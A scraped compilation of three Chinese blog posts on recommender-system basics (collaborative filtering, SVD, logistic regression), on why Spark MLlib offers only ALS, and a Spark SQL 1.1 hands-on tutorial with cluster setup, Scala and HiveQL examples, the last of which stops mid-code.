当我们开始有意识地记录用户行为数据后,得到的用户数据会逐渐地爆发式增长。就像录音时存在的噪音一样,获取的用户数据同样存在着大量的垃圾信息。因此,拿到数据的第一步,就是对数据做清理。其中最核心的工作,就是减噪和归一化:

 

减噪:用户行为数据是在用户的使用过程中产生的,其中包含了大量的噪音和用户误操作。比如因为网络中断,用户在短时间内产生了大量点击的操作。通过一些策略以及数据挖掘算法,来去除数据中的噪音。

 

归一化:清理数据的目的是为了通过对不同行为进行加权,形成合理的用户偏好矩阵。用户会产生多种行为,不同行为的取值范围差距可能会非常大。比如:点击次数可能远远大于购买次数,直接套用加权算法,可能会使得点击次数对结果的影响程度过大。于是就需要归一算法来保证不同行为的取值范围大概一致。最简单的归一算法就是将各类数据来除以此类数据中的最大值,以此来保证所有数据的取值范围都在[0,1]区间内。

 

降维算法——SVD奇异值分解

 

通过记录用户行为数据,我们得到了一个巨大的用户偏好矩阵。随着物品数量的增多,这个矩阵的列数在不断增长,但对单个用户来说,有过行为数据的物品数量是相当有限的,这就造成了这个巨大的用户偏好矩阵实际上相当稀疏,有效的数据其实很少。SVD算法就是为了解决这个问题发明的。

 

 

将大量的物品提取特征,抽象成了3大类:蔬菜,水果,休闲服。这样就将稀疏的矩阵缩小,极大的减少了计算量。但这个例子仅仅是为了说明SVD奇异值分解的原理。真正的计算实施中,不会有人为的提取特征的过程,而是完全通过数学方法进行抽象降维的。通过对矩阵相乘不断的拟合,参数调整,将原来巨大的稀疏的矩阵,分解为不同的矩阵,使其相乘可以得到原来的矩阵。这样既可以减少计算量,又可以填充上述矩阵中空值的部分。

 

协同过滤算法

我一直在强调用户行为数据,目的就是为介绍协同过滤算法做铺垫。协同过滤,Collaborative Filtering,简称CF,广泛应用于如今的推荐系统中。通过协同过滤算法,可以算出两个相似度:user-user相似度矩阵; item-item相似度矩阵。

 

 

为什么叫做协同过滤?是因为这两个相似度矩阵是通过对方来计算出来的。举个栗子:100个用户同时购买了两种物品A和B,得出在item-item相似度矩阵中A和B的相似度为0.8; 1000个物品同时被用户C和用户D购买,得出在user-user相似度矩阵中C和D的相似度是0.9. user-user, item-item的相似度都是通过用户行为数据来计算出来的。

 

计算相似度的具体算法,大概有几种:欧几里得距离,皮尔逊相关系数,Cosine相似度,Tanimoto系数。具体的算法,有兴趣的同学可以google.

 

用户画像

 

提到大数据,不能不说用户画像。经常看到有公司这样宣传:“掌握了千万用户的行为数据,描绘出了极其有价值的用户画像,可以为每个app提供精准的用户数据,助力app推广。” 这样的营销广告经不起半点推敲。用户对每个种类的app的行为都不同,得到的行为数据彼此之间差别很大,比如用户在电商网站上的行为数据,对音乐类app基本没有什么价值。推荐系统的难点,其中很大一部分就在于用户画像的积累过程极其艰难。简言之,就是用户画像与业务本身密切相关。

 

LR逻辑回归

 

基于用户偏好矩阵,发展出了很多机器学习算法,在这里再介绍一下LR的思想。具体的逻辑回归,又分为线性和非线性的。其他的机器学习算法还有:K均值聚类算法,Canopy聚类算法,等等。有兴趣的同学可以看看July的文章。链接在最后的阅读原文。

 

LR逻辑回归分为三个步骤:

  1. 提取特征值

  2. 通过用户偏好矩阵,不断拟合计算,得到每个特征值的权重

  3. 预测新用户对物品的喜好程度

 

举个栗子:

小明相亲了上千次,我们收集了大量的行为数据,以下数据仅仅是冰山一角。

 

 

通过大量的拟合计算得出,特征值“个性开朗程度”的权重为30%,“颜值”的权重为70%。哎,对这个看脸的世界已经绝望了,写完这篇文章,就去订前往韩国的机票吧。

 

然后,通过拟合出的权重,来预测小明对第一千零一次相亲对象的喜爱程度。

 

 

这就是LR逻辑回归的原理。具体的数学算法,有兴趣的同学可以google之。

 

如何利用推荐系统赚钱

 

还是以亚马逊为例。小明是个篮球迷,每个月都会买好几双篮球鞋。通过几个月的购买记录,亚马逊已经知道小明的偏好,准备给小明推荐篮球鞋。但篮球鞋品牌这么多,推荐哪一个呢?笑着说:哪个品牌给我钱多,就推荐哪个品牌。这就是最简单的流量生意了。这些都叫做:商业规则。

 

但在加入商业规则之前,需要让用户感知到推荐的准确率。如果一开始就强推某些置顶的VIP资源,会极大地损害用户体验,让用户觉得推荐完全没有准确性。这样的后果对于推荐系统的持续性发展是毁灭性的。

 

过滤规则

 

协同过滤只是单纯地依赖用户行为数据,在真正的推荐系统中,还需要考虑到很多业务方面的因素。以音乐类app为例。周杰伦出了一张新专辑A,大部分年轻人都会去点击收听,这样会导致其他每一张专辑相似专辑中都会出现专辑A。这个时候,再给用户推荐这样的热门专辑就没有意义了。所以,过滤掉热门的物品,是推荐系统的常见做法之一。这样的规则还有很多,视不同的业务场景而定。

 

推荐的多样性

 

与推荐的准确性有些相悖的,是推荐的多样性。比如说推荐音乐,如果完全按照用户行为数据进行推荐,就会使得推荐结果的候选集永远只在一个比较小的范围内:听小清新音乐的人,永远也不会被推荐摇滚乐。这是一个很复杂的问题。在保证推荐结果准确的前提下,按照一定的策略,去逐渐拓宽推荐结果的范围,给予推荐结果一定的多样性,这样才不会腻嘛。

 

持续改进

 

推荐系统具有高度复杂性,需要持续地进行改进。可能在同一时间内,需要上线不同的推荐算法,做A/B test。根据用户对推荐结果的行为数据,不断对算法进行优化,改进。要走的路还很长:路漫漫其修远兮,吾将上下而求索。

为什么spark中只有ALS - 木白的菜园 - 博客园

$
0
0
WRMF is like the classic rock of implicit matrix factorization. It may not be the trendiest, but it will never go out of style

                                                                                                                                                                 --Ethan Rosenthal

前言

spark平台推出至今已经地带到2.1的版本了,很多地方都有了重要的更新,加入了很多新的东西。但是在协同过滤这一块却一直以来都只有ALS一种算法。同样是大规模计算平台,Hadoop中的机器学习算法库Mahout就集成了多种推荐算法,不但有user-cf和item-cf这种经典算法,还有KNN、SVD,Slope one这些,可谓随意挑选,简繁由君。我们知道得是,推荐系统这个应用本身并没有过时,那么spark如此坚定 地只维护一个算法,肯定是有他的理由的,让我们来捋一捋。

ALS算法

ALS的意思是交替最小二乘法(Alternating Least Squares),它只是是一种优化算法的名字,被用在求解spark中所提供的推荐系统模型的最优解。spark中协同过滤的文档中一开始就说了,这是一个基于模型的协同过滤(model-based CF),其实它是一种近几年推荐系统界大火的隐语义模型中的一种。隐语义模型又叫潜在因素模型,它试图通过数量相对少的 未被观察到的底层原因,来解释大量用户和产品之间 可观察到的交互。操作起来就是通过降维的方法来补全用户-物品矩阵,对矩阵中没有出现的值进行估计。基于这种思想的早期推荐系统常用的一种方法是SVD(奇异值分解)。该方法在矩阵分解之前需要先把评分矩阵R缺失值补全,补全之后稀疏矩阵R表示成稠密矩阵R',然后将R’分解成如下形式:
R' =  U TSV
然后再选取U中的K列和V中的S行作为隐特征的个数,达到降维的目的。K的选取通常用启发式策略。

这种方法有两个缺点,第一是补全成稠密矩阵之后需要耗费巨大的存储空间,在实际中,用户对物品的行为信息何止千万,对这样的稠密矩阵的存储是不现实的;第二,SVD的计算复杂度很高,更不用说这样的大规模稠密矩阵了。所以关于SVD的研究很多都是在小数据集上进行的。

隐语义模型也是基于矩阵分解的,但是和SVD不同,它是把原始矩阵分解成两个矩阵相乘而不是三个。
A = XY T
现在的问题就变成了确定X和Y ,我们把X叫做用户因子矩阵,Y叫做物品因子矩阵。通常上式不能达到精确相等的程度,我们要做的就是要最小化他们之间的差距,从而又变成了一个最优化问题。求解最优化问题我们很容易就想到了随机梯度下降,其中有一种方法就是这样,通过优化如下损失函数来找到X和Y中合适的参数:
 
其中p uk就是X矩阵中u行k列的参数,度量了用户u和第k个隐类的关系;q ik是Y矩阵中i行k列的参数,度量了物品i和第k个隐类的关系。这种方式也是一种很流行的方法,有很多对它的相关扩展,比如 加上偏置项的LFM

然而ALS用的是另一种求解方法,它先用随机初始化的方式固定一个矩阵,例如Y
 
然后通过最小化等式两边差的平方来更新另一个矩阵X,这就是“最小二乘”的由来。得到X之后,又可以固定X用相同的方法求Y,如此交替进行,直到最后收敛或者达到用户指定的迭代次数为止,是为“交替”是也。 从上式可以看出,X的第i行是A的第i行和Y的函数,因此可以很容易地分开计算X的每一行,这就为并行就算提供了很大的便捷,也正是如此,Spark这种面向大规模计算的平台选择了这个算法。在3这篇文章中,作者用了embarrassingly parallel来形容这个算法,意思是高度易并行化的——它的每个子任务之间没有什么依赖关系。

在现实中,不可能每个用户都和所有的物品都有行为关系,事实上,有交互关系的用户-物品对只占很小的一部分,换句话说,用户-物品关系列表是非常稀疏的。和SVD这种矩阵分解不同,ALS所用的矩阵分解技术在分解之前不用把系数矩阵填充成稠密矩阵之后再分解,这不但大大减少了存储空间,而且spark可以利用这种稀疏性用简单的线性代数计算求解。这几点使得本算法在大规模数据上计算非常快,解释了为什么spark mllib目前只有ALS一种推荐算法。

显性反馈和隐性反馈

我们知道,在推荐系统中用户和物品的交互数据分为显性反馈和隐性反馈数据的。在ALS中这两种情况也是被考虑了进来的,分别可以训练如下两种模型:
  1. val model1=ALS.train(ratings,rank,numIterations,lambda)//显性反馈模型
  2. val model2=ALS.trainImplicit(ratings,rank,numIterations,lambda,alpha)//隐性反馈模型
参数:
rating:由用户-物品矩阵构成的训练集
rank:隐藏因子的个数
numIterations: 迭代次数
lambda:正则项的惩罚系数
alpha: 置信参数

从上面可以看到,隐式模型多了一个置信参数,这就涉及到ALS中对于隐式反馈模型的处理方式了——有的文章称为“加权的正则化矩阵分解”,它的损失函数如下:
 
我们知道,在隐反馈模型中是没有评分的,所以在式子中rui被pui所取代,pui是偏好的表示,仅仅表示用户和物品之间有没有交互,而不表示评分高低或者喜好程度。比如用户和物品之间有交互就让pui等于1,没有就等于0。函数中还有一个c ui的项,它用来表示用户偏爱某个商品的置信程度,比如交互次数多的权重就会增加。如果我们用dui来表示交互次数的话,那么就可以把置信程度表示成如下公式:
这里的alpha就是上面提到的 置信参数,也是这个模型的超参数之一,需要用交叉验证来得到。



用spark的ALS模型进行推荐

1.为指定用户进行topN推荐
  1. model.recommendProducts(userID,N)
2.为 用户-物品 对进行预测评分,显式和隐式反馈都可以,是根据两个因子矩阵对应行列相乘得到的数值,可以用来评估系统。既可以传入一对参数,也可以传入以(user,item)对类型的RDD对象作为参数,如下
  1. model.predict(user,item)
  2. model.predict(RDD[int,int])
3.根据物品推荐相似的物品
这其实不算是一种模型内置的推荐方式,但是ALS可以为我们计算出物品因子矩阵和用户因子矩阵:
  1. model.productFeatures
  2. model.userFeatures
这是一种降维,让我们可以用更少的维度表示,同时也意味着如果我们要算物品相似度或者用户相似度可以用更少的特征进行计算。进而得到“和这个物品相似的物品”这种类型的推荐。

参考资料

1.《spark机器学习》
2.《spark高级数据分析》

Spark入门实战系列--6.SparkSQL(下)--Spark实战应用 - shishanyuan - 博客园

$
0
0

【注】该系列文章以及使用到安装包/测试数据 可以在《 倾情大奉送--Spark入门实战系列》获取

1、运行环境说明

1.1 硬软件环境

l 主机操作系统:Windows 64位,双核4线程,主频2.2G,10G内存

l 虚拟软件:VMware® Workstation 9.0.0 build-812388

l 虚拟机操作系统:CentOS 64位,单核

l 虚拟机运行环境:

Ø JDK:1.7.0_55 64位

Ø Hadoop:2.2.0(需要编译为64位)

Ø Scala:2.10.4

Ø Spark:1.1.0(需要编译)

Ø Hive:0.13.1

1.2 机器网络环境

集群包含三个节点,节点之间可以免密码SSH访问,节点IP地址和主机名分布如下:

序号

IP地址

机器名

类型

核数/内存

用户名

目录

1

192.168.0.61

hadoop1

NN/DN/RM

Master/Worker

1核/3G

hadoop

/app程序所在路径

/app/scala-...

/app/hadoop

/app/complied

2

192.168.0.62

hadoop2

DN/NM/Worker

1核/2G

hadoop

3

192.168.0.63

hadoop3

DN/NM/Worker

1核/2G

hadoop

2、Spark基础应用

SparkSQL引入了一种新的RDD——SchemaRDD,SchemaRDD由行对象(Row)以及描述行对象中每列数据类型的Schema组成;SchemaRDD很象传统数据库中的表。SchemaRDD可以通过RDD、Parquet文件、JSON文件、或者通过使用hiveql查询hive数据来建立。SchemaRDD除了可以和RDD一样操作外,还可以通过registerTempTable注册成临时表,然后通过SQL语句进行操作。

值得注意的是:

lSpark1.1使用registerTempTable代替1.0版本的registerAsTable

lSpark1.1在hiveContext中,hql()将被弃用,sql()将代替hql()来提交查询语句,统一了接口。

l使用registerTempTable注册表是一个临时表,生命周期只在所定义的sqlContext或hiveContext实例之中。换而言之,在一个sqlontext(或hiveContext)中registerTempTable的表不能在另一个sqlContext(或hiveContext)中使用。

另外,Spark1.1提供了语法解析器选项spark.sql.dialect,就目前而言,Spark1.1提供了两种语法解析器:sql语法解析器和hiveql语法解析器。

lsqlContext现在只支持sql语法解析器(SQL-92语法)

lhiveContext现在支持sql语法解析器和hivesql语法解析器,默认为hivesql语法解析器,用户可以通过配置切换成sql语法解析器,来运行hiveql不支持的语法,如select 1。

l切换可以通过下列方式完成:

l在sqlContexet中使用setconf配置spark.sql.dialect

l在hiveContexet中使用setconf配置spark.sql.dialect

l在sql命令中使用set spark.sql.dialect=value

SparkSQL1.1对数据的查询分成了2个分支:sqlContext和hiveContext。至于两者之间的关系,hiveSQL继承了sqlContext,所以拥有sqlontext的特性之外,还拥有自身的特性(最大的特性就是支持hive)。

2.1 启动Spark shell

2.1.1 环境设置

使用如下命令打开/etc/profile文件:

sudo vi /etc/profile

clip_image002

设置如下参数:

export SPARK_HOME=/app/hadoop/spark-1.1.0

export PATH=$PATH:$SPARK_HOME/bin:$SPARK_HOME/sbin

 

export HIVE_HOME=/app/hadoop/hive-0.13.1

export PATH=$PATH:$HIVE_HOME/bin

export CLASSPATH=$CLASSPATH:$HIVE_HOME/bin

clip_image004

2.1.2 启动HDFS

$cd /app/hadoop/hadoop-2.2.0/sbin

$./start-dfs.sh

clip_image006

2.1.3 启动Spark集群

$cd /app/hadoop/spark-1.1.0/sbin

$./start-all.sh

clip_image008

2.1.4 启动Spark-Shell

在spark客户端(在hadoop1节点),使用spark-shell连接集群

$cd /app/hadoop/spark-1.1.0/bin

$./spark-shell --master spark://hadoop1:7077 --executor-memory 1g

clip_image010

启动后查看启动情况,如下图所示:

clip_image012

2.2 sqlContext演示

Spark1.1.0开始提供了两种方式将RDD转换成SchemaRDD:

l通过定义Case Class,使用反射推断Schema(case class方式)

l通过可编程接口,定义Schema,并应用到RDD上(applySchema方式)

前者使用简单、代码简洁,适用于已知Schema的源数据上;后者使用较为复杂,但可以在程序运行过程中实行,适用于未知Schema的RDD上。

2.2.1 使用Case Class定义RDD演示

对于Case Class方式,首先要定义Case Class,在RDD的Transform过程中使用Case Class可以隐式转化成SchemaRDD,然后再使用registerTempTable注册成表。注册成表后就可以在sqlContext对表进行操作,如select、insert、join等。注意,case class可以是嵌套的,也可以使用类似Sequences或Arrays之类复杂的数据类型。

下面的例子是定义一个符合数据文件/sparksql/people.txt类型的case clase(Person),然后将数据文件读入后隐式转换成SchemaRDD:people,并将people在sqlContext中注册成表rddTable,最后对表进行查询,找出年纪在13-19岁之间的人名。

第一步  上传测试数据

在HDFS中创建/class6目录,把配套资源/data/class5/people.txt上传到该目录上

$hadoop fs -mkdir /class6

$hadoop fs -copyFromLocal /home/hadoop/upload/class6/people.* /class6

$hadoop fs -ls /

clip_image014

第二步  定义sqlContext并引入包

//sqlContext演示

scala>val sqlContext=new org.apache.spark.sql.SQLContext(sc)

scala>import sqlContext.createSchemaRDD

clip_image016

第三步  定义Person类,读入数据并注册为临时表

//RDD1演示

scala>case class Person(name:String,age:Int)

scala>val rddpeople=sc.textFile("hdfs://hadoop1:9000/class6/people.txt").map(_.split(",")).map(p=>Person(p(0),p(1).trim.toInt))

scala>rddpeople.registerTempTable("rddTable")

clip_image018

第四步  在查询年纪在13-19岁之间的人员

scala>sqlContext.sql("SELECT name FROM rddTable WHERE age >= 13 AND age <= 19").map(t => "Name: " + t(0)).collect().foreach(println)

上面步骤均为trnsform未触发action动作,在该步骤中查询数据并打印触发了action动作,如下图所示:

clip_image020

通过监控页面,查看任务运行情况:

clip_image022

clip_image024

2.2.2 使用applySchema定义RDD演示

applySchema方式比较复杂,通常有3步过程:

l从源RDD创建rowRDD

l创建与rowRDD匹配的Schema

l将Schema通过applySchema应用到rowRDD

第一步  导入包创建Schema

//导入SparkSQL的数据类型和Row

scala>import org.apache.spark.sql._

//创建于数据结构匹配的schema

scala>val schemaString = "name age"

scala>val schema =

 StructType(

   schemaString.split(" ").map(fieldName => StructField(fieldName, StringType, true)))

clip_image026

第二步  创建rowRDD并读入数据

//创建rowRDD

scala>val rowRDD = sc.textFile("hdfs://hadoop1:9000/class6/people.txt").map(_.split(",")).map(p => Row(p(0), p(1).trim))

//用applySchema将schema应用到rowRDD

scala>val rddpeople2 = sqlContext.applySchema(rowRDD, schema)

scala>rddpeople2.registerTempTable("rddTable2")

clip_image028

第三步  查询获取数据

scala>sqlContext.sql("SELECT name FROM rddTable2 WHERE age >= 13 AND age <= 19").map(t => "Name: " + t(0)).collect().foreach(println)

clip_image030

通过监控页面,查看任务运行情况:

clip_image032

clip_image034

2.2.3 parquet演示

同样得,sqlContext可以读取parquet文件,由于parquet文件中保留了schema的信息,所以不需要使用case class来隐式转换。sqlContext读入parquet文件后直接转换成SchemaRDD,也可以将SchemaRDD保存成parquet文件格式。

第一步  保存成parquest格式文件

//把上面步骤中的rddpeople保存为parquet格式文件到hdfs中

scala>rddpeople.saveAsParquetFile("hdfs://hadoop1:9000/class6/people.parquet")

clip_image036

clip_image038

第二步  读入parquest格式文件,注册表parquetTable

//parquet演示

scala>val parquetpeople = sqlContext.parquetFile("hdfs://hadoop1:9000/class6/people.parquet")

scala>parquetpeople.registerTempTable("parquetTable")

clip_image040

第三步  查询年龄大于等于25岁的人名

scala>sqlContext.sql("SELECT name FROM parquetTable WHERE age >= 25").map(t => "Name: " + t(0)).collect().foreach(println)

clip_image042

2.2.4 json演示

sparkSQL1.1.0开始提供对json文件格式的支持,这意味着开发者可以使用更多的数据源,如鼎鼎大名的NOSQL数据库MongDB等。sqlContext可以从jsonFile或jsonRDD获取schema信息,来构建SchemaRDD,注册成表后就可以使用。

ljsonFile -加载JSON文件目录中的数据,文件的每一行是一个JSON对象

ljsonRdd -从现有的RDD加载数据,其中RDD的每个元素包含一个JSON对象的字符串

第一步  上传测试数据

clip_image044 

第二步  读取数据并注册jsonTable表

//json演示

scala>val jsonpeople = sqlContext.jsonFile("hdfs://hadoop1:9000/class6/people.json")

jsonpeople.registerTempTable("jsonTable")

clip_image046

第三步  查询年龄大于等于25的人名

scala>sqlContext.sql("SELECT name FROM jsonTable WHERE age >= 25").map(t => "Name: " + t(0)).collect().foreach(println)

clip_image048

2.2.5 sqlContext中混合使用演示

在sqlContext或hiveContext中来源于不同数据源的表在各自生命周期中可以混用,即sqlContext与hiveContext之间表不能混合使用

//sqlContext中来自rdd的表rddTable和来自parquet文件的表parquetTable混合使用

scala>sqlContext.sql("select a.name,a.age,b.age from rddTable a join parquetTable b on a.name=b.name").collect().foreach(println)

clip_image050

clip_image052

2.3 hiveContext演示

使用hiveContext之前首先要确认以下两点:

l使用的Spark是支持hive

lHive的配置文件hive-site.xml已经存在conf目录中

前者可以查看lib目录下是否存在以datanucleus开头的3个JAR来确定,后者注意是否在hive-site.xml里配置了uris来访问Hive Metastore。

2.3.1 启动hive

在hadoop1节点中使用如下命令启动Hive

$nohup hive --service metastore > metastore.log 2>&1 &

clip_image054

2.3.2 在SPARK_HOME/conf目录下创建hive-site.xml

 在SPARK_HOME/conf目录下创建hive-site.xml文件,修改配置后需要重新启动Spark-Shell

【注】如果在第6课《SparkSQL(二)--SparkSQL简介》配置,

<configuration> 

 <property>

  <name>hive.metastore.uris</name>

   <value>thrift://hadoop1:9083</value>

   <description>Thrift URI for the remote metastore. Used by metastore client to connect to remote metastore.</description>

 </property>

</configuration>

clip_image056

2.3.3 查看数据库表

要使用hiveContext,需要先构建hiveContext:

scala>val hiveContext = new org.apache.spark.sql.hive.HiveContext(sc)

clip_image058

然后就可以对Hive数据进行操作了,下面我们将使用Hive中的销售数据,首先切换数据库到hive并查看有几个表:

//销售数据演示

scala>hiveContext.sql("use hive")

scala>hiveContext.sql("show tables").collect().foreach(println)

2.3.4 计算所有订单中每年的销售单数、销售总额

//所有订单中每年的销售单数、销售总额

//三个表连接后以count(distinct a.ordernumber)计销售单数,sum(b.amount)计销售总额

scala>hiveContext.sql("select c.theyear,count(distinct a.ordernumber),sum(b.amount) from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber join tbDate c on a.dateid=c.dateid group by c.theyear order by c.theyear").collect().foreach(println)

结果如下:

[2004,1094,3265696]

[2005,3828,13247234]

[2006,3772,13670416]

[2007,4885,16711974]

[2008,4861,14670698]

[2009,2619,6322137]

[2010,94,210924]

通过监控页面,查看任务运行情况:

2.3.5 计算所有订单每年最大金额订单的销售额

第一步  实现分析

所有订单每年最大金额订单的销售额:

1、先求出每份订单的销售额以其发生时间

select a.dateid,a.ordernumber,sum(b.amount) as sumofamount from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber group by a.dateid,a.ordernumber

2、以第一步的查询作为子表,和表tbDate连接,求出每年最大金额订单的销售额

select c.theyear,max(d.sumofamount) from tbDate c join (select a.dateid,a.ordernumber,sum(b.amount) as sumofamount from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber group by a.dateid,a.ordernumber ) d on c.dateid=d.dateid group by c.theyear sort by c.theyear

第二步  实现SQL语句

scala>hiveContext.sql("select c.theyear,max(d.sumofamount) from tbDate c join (select a.dateid,a.ordernumber,sum(b.amount) as sumofamount from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber group by a.dateid,a.ordernumber ) d on c.dateid=d.dateid group by c.theyear sort by c.theyear").collect().foreach(println)

结果如下:

[2010,13063]

[2004,23612]

[2005,38180]

[2006,36124]

[2007,159126]

[2008,55828]

[2009,25810]

第三步  监控任务运行情况

2.3.6 计算所有订单中每年最畅销货品

第一步  实现分析

所有订单中每年最畅销货品:

1、求出每年每个货品的销售金额

scala>select c.theyear,b.itemid,sum(b.amount) as sumofamount from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber join tbDate c on a.dateid=c.dateid group by c.theyear,b.itemid

2、求出每年单品销售的最大金额

scala>select d.theyear,max(d.sumofamount) as maxofamount from (select c.theyear,b.itemid,sum(b.amount) as sumofamount from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber join tbDate c on a.dateid=c.dateid group by c.theyear,b.itemid) d group by d.theyear

3、求出每年与销售额最大相符的货品就是最畅销货品

scala>select distinct e.theyear,e.itemid,f.maxofamount from (select c.theyear,b.itemid,sum(b.amount) as sumofamount from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber join tbDate c on a.dateid=c.dateid group by c.theyear,b.itemid) e join (select d.theyear,max(d.sumofamount) as maxofamount from (select c.theyear,b.itemid,sum(b.amount) as sumofamount from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber join tbDate c on a.dateid=c.dateid group by c.theyear,b.itemid) d group by d.theyear) f on (e.theyear=f.theyear and e.sumofamount=f.maxofamount) order by e.theyear

第二步  实现SQL语句

scala>hiveContext.sql("select distinct e.theyear,e.itemid,f.maxofamount from (select c.theyear,b.itemid,sum(b.amount) as sumofamount from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber join tbDate c on a.dateid=c.dateid group by c.theyear,b.itemid) e join (select d.theyear,max(d.sumofamount) as maxofamount from (select c.theyear,b.itemid,sum(b.amount) as sumofamount from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber join tbDate c on a.dateid=c.dateid group by c.theyear,b.itemid) d group by d.theyear) f on (e.theyear=f.theyear and e.sumofamount=f.maxofamount) order by e.theyear").collect().foreach(println)

结果如下:

[2004,JY424420810101,53374]

[2005,24124118880102,56569]

[2006,JY425468460101,113684]

[2007,JY425468460101,70226]

[2008,E2628204040101,97981]

[2009,YL327439080102,30029]

[2010,SQ429425090101,4494]

第三步  监控任务运行情况

2.3.7 hiveContext中混合使用演示

第一步  创建hiveTable从本地文件系统加载数据

//创建一个hiveTable并将数据加载,注意people.txt第二列有空格,所以age取string类型

scala>hiveContext.sql("CREATE TABLE hiveTable(name string,age string) ROW FORMAT DELIMITED FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n' ")

scala>hiveContext.sql("LOAD DATA LOCAL INPATH '/home/hadoop/upload/class6/people.txt' INTO TABLE hiveTable")

第二步  创建parquet表,从HDFS加载数据

//创建一个源自parquet文件的表parquetTable2,然后和hiveTable混合使用

scala>hiveContext.parquetFile("hdfs://hadoop1:9000/class6/people.parquet").registerTempTable("parquetTable2")

第三步  两个表混合使用

scala>hiveContext.sql("select a.name,a.age,b.age from hiveTable a join parquetTable2 b on a.name=b.name").collect().foreach(println)

2.4 Cache使用

sparkSQL的cache可以使用两种方法来实现:

lCacheTable()方法

lCACHE TABLE命令

千万不要先使用cache SchemaRDD,然后registerAsTable;使用RDD的cache()将使用原生态的cache,而不是针对SQL优化后的内存列存储。

第一步  对rddTable表进行缓存

//cache使用

scala>val sqlContext=new org.apache.spark.sql.SQLContext(sc)

scala>import sqlContext.createSchemaRDD

scala>case class Person(name:String,age:Int)

scala>val rddpeople=sc.textFile("hdfs://hadoop1:9000/class6/people.txt").map(_.split(",")).map(p=>Person(p(0),p(1).trim.toInt))

scala>rddpeople.registerTempTable("rddTable")

 

scala>sqlContext.cacheTable("rddTable")

scala>sqlContext.sql("SELECT name FROM rddTable WHERE age >= 13 AND age <= 19").map(t => "Name: " + t(0)).collect().foreach(println)

在监控界面上看到该表数据已经缓存

第二步  对parquetTable表进行缓存

scala>val parquetpeople = sqlContext.parquetFile("hdfs://hadoop1:9000/class6/people.parquet")

scala>parquetpeople.registerTempTable("parquetTable")

 

scala>sqlContext.sql("CACHE TABLE parquetTable")

scala>sqlContext.sql("SELECT name FROM parquetTable WHERE age >= 13 AND age <= 19").map(t => "Name: " + t(0)).collect().foreach(println)

在监控界面上看到该表数据已经缓存

第三步  解除缓存

//uncache使用

scala>sqlContext.uncacheTable("rddTable")

scala>sqlContext.sql("UNCACHE TABLE parquetTable")

2.5 DSL演示

SparkSQL除了支持HiveQL和SQL-92语法外,还支持DSL(Domain Specific Language)。在DSL中,使用Scala符号'+标示符表示基础表中的列,Spark的execution engine会将这些标示符隐式转换成表达式。另外可以在API中找到很多DSL相关的方法,如where()、select()、limit()等等,详细资料可以查看Catalyst模块中的DSL子模块,下面为其中定义几种常用方法:

//DSL演示

scala>import sqlContext._

scala>val teenagers_dsl = rddpeople.where('age >= 10).where('age <= 19).select('name)

scala>teenagers_dsl.map(t => "Name: " + t(0)).collect().foreach(println)

3、Spark综合应用

Spark之所以万人瞩目,除了内存计算还有其ALL-IN-ONE的特性,实现了One stack rule them all。下面简单模拟了几个综合应用场景,不仅使用了sparkSQL,还使用了其他Spark组件:

lSQL On Spark:使用sqlContext查询年纪大于等于10岁的人名

lHive On Spark:使用了hiveContext计算每年销售额

l店铺分类,根据销售额对店铺分类,使用sparkSQL和MLLib聚类算法

lPageRank,计算最有价值的网页,使用sparkSQL和GraphX的PageRank算法

以下实验采用IntelliJ IDEA调试代码,最后生成LearnSpark.jar,然后使用spark-submit提交给集群运行。

3.1 SQL On Spark

3.1.1 实现代码

在src->main->scala下创建class6包,在该包中添加SQLOnSpark对象文件,具体代码如下:

import org.apache.spark.rdd.RDD

import org.apache.spark.{SparkConf, SparkContext}

import org.apache.spark.sql.SQLContext

 

case class Person(name: String, age: Int)

 

object SQLOnSpark {

 def main(args: Array[String]) {

   val conf = new SparkConf().setAppName("SQLOnSpark")

   val sc = new SparkContext(conf)

 

   val sqlContext = new SQLContext(sc)

   import sqlContext._

 

   val people: RDD[Person] = sc.textFile("hdfs://hadoop1:9000/class6/people.txt")

     .map(_.split(",")).map(p => Person(p(0), p(1).trim.toInt))

   people.registerTempTable("people")

 

   val teenagers = sqlContext.sql("SELECT name FROM people WHERE age >= 10 and age <= 19")

   teenagers.map(t => "Name: " + t(0)).collect().foreach(println)

 

   sc.stop()

 }

}

3.1.2 IDEA本地运行

先对该代码进行编译,然后运行该程序,需要注意的是在IDEA中需要在SparkConf添加setMaster("local")设置为本地运行。运行时可以通过运行窗口进行观察:

打印运行结果

3.1.3 生成打包文件

【注】可以参见第3课《Spark编程模型(下)--IDEA搭建及实战》进行打包

第一步  配置打包信息

在项目结构界面中选择"Artifacts",在右边操作界面选择绿色"+"号,选择添加JAR包的"From modules with dependencies"方式,出现如下界面,在该界面中选择主函数入口为SQLOnSpark:

第二步  填写该JAR包名称和调整输出内容

打包路径为/home/hadoop/IdeaProjects/out/artifacts/LearnSpark_jar

【注意】的是默认情况下"Output Layout"会附带Scala相关的类包,由于运行环境已经有Scala相关类包,所以在这里去除这些包只保留项目的输出内容

第三步  输出打包文件

点击菜单Build->Build Artifacts,弹出选择动作,选择Build或者Rebuild动作

第四步  复制打包文件到Spark根目录下

cd /home/hadoop/IdeaProjects/out/artifacts/LearnSpark_jar

cp LearnSpark.jar /app/hadoop/spark-1.1.0/

ll /app/hadoop/spark-1.1.0/

3.1.4 运行查看结果

通过如下命令调用打包中的SQLOnSpark方法,运行结果如下:

cd /app/hadoop/spark-1.1.0

bin/spark-submit --master spark://hadoop1:7077 --class class6.SQLOnSpark --executor-memory 1g LearnSpark.jar

3.2 Hive On Spark

3.2.1 实现代码

在class6包中添加HiveOnSpark对象文件,具体代码如下:

import org.apache.spark.{SparkConf, SparkContext}

import org.apache.spark.sql.hive.HiveContext

 

object HiveOnSpark {

 case class Record(key: Int, value: String)

 

 def main(args: Array[String]) {

   val sparkConf = new SparkConf().setAppName("HiveOnSpark")

   val sc = new SparkContext(sparkConf)

 

   val hiveContext = new HiveContext(sc)

   import hiveContext._

 

   sql("use hive")

